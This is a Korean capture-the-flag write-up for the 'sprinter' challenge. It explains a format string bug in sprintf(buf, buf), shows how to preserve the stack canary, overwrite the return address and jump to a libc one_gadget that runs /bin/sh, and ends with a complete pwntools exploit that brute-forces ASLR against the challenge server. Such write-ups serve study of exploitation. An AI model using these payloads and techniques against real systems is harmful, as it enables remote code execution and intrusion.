I’ve always found myself to be more of a distance runner than a sprinter, but sometimes you just have to sprint that final stretch.nc sprinter.chal.idek.team 1337
Analysis 1 2 3 4 5 Canary : ✓ (value: 0xfe2ac7e4ac5ec700) NX : ✓ PIE : ✘ Fortify : ✘ RelRO : Partial
canary
가 존재한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int vuln () { size_t v0; char buf[264 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Enter your string into my buffer, located at %p: " , buf); fgets(buf, 256 , stdin ); v0 = (size_t )strchr (buf, 'n' ); if ( !v0 ) { v0 = strlen (buf); if ( v0 <= 0x26 ) LODWORD(v0) = sprintf (buf, buf); } return v0; }
[*]
에서 Format String Bug
가 터진다. 안타깝게도 n
을 필터링하고, sprintf(buf, buf)
형식으로 버그가 발생하기 때문에 문제 풀기 굉장히 까다롭다. 페이로드를 적어놨는데 포맷스트링을 실행(?)하면서 내가 적어놨던 페이로드가 덮힐 수도 있기 때문이다.
문제를 보며 가장 먼저 생각이 들었던 것은 n
이 필터링 되어 있는데 어떻게 overflow를 일으켜서 어떻게 ret를 변조하느냐였다. 더욱이 canary가 존재했기 때문에 이것을 어떻게 우회하거나 leak할 지도 고민이었다. 하지만 여러가지 테스트를 진행한 결과 %c
등을 이용해서 overflow를 쉽게 일으킬 수 있었고 canary를 미리 구해놓는 과정이 필요하다고 판단했다.
이 문제가 까다로운 점이 한 가지 더 존재한다. 바로 페이로드의 길이 제한인데, strlen
을 이용해서 페이로드의 길이를 구하고 있다.
이 문제의 환경은 Ubuntu 20.04
이며 다행히 작동하는 one gadget
이 존재한다. (문제 파일에 libc가 함께 포함되어 있다.)
Solve
기간 내에 이 문제를 풀지 못했기 때문에 위 블로그를 참고하여 공부를 진행했다.
0. $[]%[]c
뻘하게 헷갈렸던 개념이다.. 정확히는 $[offset]%[num]c
으로 정의하고 싶다.
1 2 3 4 #include <stdio.h> int main () { printf ("%100c\n" , 'A' ); }
이것의 출력 결과는 무엇일까? 99번 공백을 출력하고 마지막에 ‘A’를 출력한다.
1 2 3 4 #include <stdio.h> int main () { printf ("%100s\n" , "AA" ); }
자매품으로 이것의 출력 결과는 98번 공백을 출력하고 마지막에 ‘AA’를 출력한다.
$[offset]
의 의미는.. FSB
에서 많이 보던 바로 그거다. offset 번째를 참조한다. 만약 %10$264c
라면 먼저 공백 264개를 출력하고 10번째 offset을 참조한 값을 출력할 것이다.
1. Canary 보존 제일 먼저 해야할 일은 canary
를 보존해야하는 것이다. (어떻게 보면 이 문제의 핵심이라고도 할 수 있겠다.) 그 전에 canary
직전까지 덮어보자.
1 2 3 4 5 6 7 8 payload = b'%10$264c' print (len (payload))payload += b'\0' * (0x26 - len (payload)) payload += b'\0' * 0x2 payload += p8(0x41 )
한 블록은 8바이트이기 때문에 패딩을 저렇게 줘야한다. 가독성을 위해 두 번 나누어서 작성했는데, 0x26의 의미는 문제에서 요구한 길이 제한이다.
payload를 저렇게 작성하게 되면 10번째 offset을 참고하여 264번의 공백 출력 후 마지막에 0x41을 출력한다. gdb 상에서 확인해보면 아래와 같다.
1 2 3 4 5 6 7 0x007ffc4a31cb80│+0x0000: "%10$264c" ← $rdx, $rsp, $rsi, $rdi, $r8 0x007ffc4a31cb88│+0x0008: 0x0000000000000000 # 6 0x007ffc4a31cb90│+0x0010: 0x0000000000000000 # 7 0x007ffc4a31cb98│+0x0018: 0x0000000000000000 # 8 0x007ffc4a31cba0│+0x0020: 0x0000000000000000 # 9 0x007ffc4a31cba8│+0x0028: 0x00034000000a41 ("A\n"?) # 10 ...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0x7ffc4a31cb80: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cb90: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cba0: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cbb0: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cbc0: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cbd0: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cbe0: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cbf0: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cc00: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cc10: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cc20: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cc30: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cc40: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cc50: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cc60: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cc70: 0x2020202020202020 0x2020202020202020 0x7ffc4a31cc80: 0x4120202020202020 0x5207f53f7a984d00 0x7ffc4a31cc90: 0x00007ffc4a31cca0 0x00000000004012fd
본격적으로 canary
보존을 시작해보자. ret
를 덮기 위해서는 필수적으로 canary
를 건드려야만 한다. 우리는 FSB
를 이용하여 canary
를 구한 다음에 써야 한다. 즉, 앞에서 말한 canary
보존은 canary
를 leak한 다음 그 자리에 다시 써야하는 것을 의미한다.
1 2 3 4 5 6 7 8 9 payload = b'%5$264c' payload += b'%4$c' payload += b'%10$.7s' payload += b'\0' * (0x26 - len (payload)) payload += b'\0' * 0x2 payload += p64(canary_addr + 1 )
5번째
오프셋은 0x25
를 의미하고 4번째
오프셋은 r9
레지스터인 0x00
이다.
1 0x7fff9a4022f0: 0x2563343632243525
10번째
오프셋은 canary_addr + 1
을 의미하는데 +1
의 의미는 canary
는 null
바이트부터 시작하기 때문이다. 그래서 canary_addr + 1
부터 %.7s
를 이용하여 7자리만 가져왔다. 앞에서 %4$c
으로 null
바이트 한 바이트만 가져왔기 때문에 canary
가 잘 보존되었으리라 생각된다.
%s
를 이용하여 카나리를 전부 다 가져오게 되면 null
바이트 때문에 sprint
함수로 canary
출력을 하다가 끊긴다. 사실상 첫 바이트가 null
이기 때문에 전혀 출력을 하지 못한다. 그래서 위와 같은 방법으로 출력을 해야한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0x7fff9a4022f0: 0x2020202020202020 0x2020202020202020 0x7fff9a402300: 0x2020202020202020 0x2020202020202020 0x7fff9a402310: 0x2020202020202020 0x2020202020202020 0x7fff9a402320: 0x2020202020202020 0x2020202020202020 0x7fff9a402330: 0x2020202020202020 0x2020202020202020 0x7fff9a402340: 0x2020202020202020 0x2020202020202020 0x7fff9a402350: 0x2020202020202020 0x2020202020202020 0x7fff9a402360: 0x2020202020202020 0x2020202020202020 0x7fff9a402370: 0x2020202020202020 0x2020202020202020 0x7fff9a402380: 0x2020202020202020 0x2020202020202020 0x7fff9a402390: 0x2020202020202020 0x2020202020202020 0x7fff9a4023a0: 0x2020202020202020 0x2020202020202020 0x7fff9a4023b0: 0x2020202020202020 0x2020202020202020 0x7fff9a4023c0: 0x2020202020202020 0x2020202020202020 0x7fff9a4023d0: 0x2020202020202020 0x2020202020202020 0x7fff9a4023e0: 0x2020202020202020 0x2020202020202020 0x7fff9a4023f0: 0x2520202020202020 0x92c29f2c0e8fb100 0x7fff9a402400: 0x00007fff9a402400 0x00000000004012fd
canary
보존에 성공했으면 rbp
를 덮고 ret
를 원하는 곳으로 돌려주면 끝이다.
2. ret
를 덮어 흐름 변경하기 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 payload = b'AAA%5$261c' payload += b'%4$c' payload += b'%10$.7s' payload += b'%8c' payload += b'%12$.3s%11$.5s' print (hex (len (payload)))payload += b'\0' * (0x26 - len (payload)) payload += b'\0' * 0x2 payload += p64(canary_addr + 1 ) payload += p64(canary_addr + 8 *4 + 3 ) payload += p64(stack_leak)
sprintf(buf, buf);
으로 FSB
가 트리거 될 때 익스하는 것에서 가장 까다로운 점은 페이로드를 적어놓은 buf
가 포맷스트링에 의해 덮힐 가능성이 존재한다는 것이다. 그래서 우리는 실행하고 싶은 주소를 페이로드 제일 앞에 적어주어 덮히지 않게 해야 한다.
ret
부분의 포맷스트링을 해석해보면 12번째 오프셋에서 3바이트를 가져오고 11번째 오프셋에서 5바이트를 가져오는 것을 의미한다. 12번째 오프셋에는 스택 주소가 적혀져 있으며 페이로드 첫 부분 3바이트를 가져오는 것을 의미한다. 11번째 오프셋은 libc 주소가 저장되어 있는데 정확한 값은 아래와 같다.
aslr
때문에 하위 1.5바이트를 제외하고 계속 변경된다. 우리가 사용할 one gadget
offset은 3바이트이므로 5바이트만 정확한 값을 쓰고 나머지 3바이트를 one gadget
offset을 사용한다. 물론 이 값은 페이로드 가장 첫 부분에 적혀 있어야 한다. 일단 이 부분은 AAA
로 값을 적어놓고 3 글자 썼기 때문에 %264c
를 %261c
로 변경하였다.
이제 gdb 상으로 메모리를 살펴보자.
1 2 3 4 5 6 7 0x007ffd1f0d4bb0│+0x0000: "AAA%5$261c%4$c%10$.7s%8c%12$.3s%11$.5s" ← $rdx, $rsp, $rsi, $rdi, $r8 0x007ffd1f0d4bb8│+0x0008: "1c%4$c%10$.7s%8c%12$.3s%11$.5s" 0x007ffd1f0d4bc0│+0x0010: "0$.7s%8c%12$.3s%11$.5s" 0x007ffd1f0d4bc8│+0x0018: "%12$.3s%11$.5s" 0x007ffd1f0d4bd0│+0x0020: 0x0073352e243131 ("11$.5s"?) 0x007ffd1f0d4bd8│+0x0028: 0x007ffd1f0d4cb9 → 0xd0edc89128c0bcb7 0x007ffd1f0d4be0│+0x0030: 0x007ffd1f0d4cdb → 0x00001800007f7855
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0x7ffd1f0d4bb0: 0x2020202020414141 0x2020202020202020 0x7ffd1f0d4bc0: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4bd0: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4be0: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4bf0: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4c00: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4c10: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4c20: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4c30: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4c40: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4c50: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4c60: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4c70: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4c80: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4c90: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4ca0: 0x2020202020202020 0x2020202020202020 0x7ffd1f0d4cb0: 0x4120202020202020 0xedc89128c0bcb700 0x7ffd1f0d4cc0: 0xb020202020202020 0x00007f7855414141 0x7ffd1f0d4cd0: 0x0000000000000000 0x00007f785518d083
ret
가 0x00007f7855414141
로 잘 변조 되었다.
이제 one gadget
을 이용하여 exploit을 진행해보자.
3. offset Brute forcing 사용할 one gadget
오프셋은 아래와 같다.
1 2 3 4 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
\x01\x3b\x0e
를 사용할 것인데 하위 1.5바이트 말고는 aslr
때문에 오프셋이 랜덤이니까 1/4096의 확률의 브루트포싱이 필요하다.
Exploit Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *while True : try : p = remote('sprinter.chal.idek.team' ,1337 ) p.recvuntil(b'0x' ,timeout=10 ) stack_leak = int (p.recvn(12 ), 16 ) print (f'stack_leak : {hex (stack_leak)} ' ) canary_addr = stack_leak + 0x108 payload = b'\x01\xfb\xff%5$261c' payload += b'%4$c' payload += b'%10$.7s' payload += b'%8c' payload += b'%12$.3s%11$.5s' payload += b'\0' * (0x26 - len (payload)) payload += b'\0' * 0x2 payload += p64(canary_addr + 1 ) payload += p64(canary_addr + 8 *4 + 3 ) payload += p64(stack_leak) p.sendline(payload) print (repr ( p.recvn(100 , timeout=1 ) )) p.interactive() break except Exception as ex: print (ex)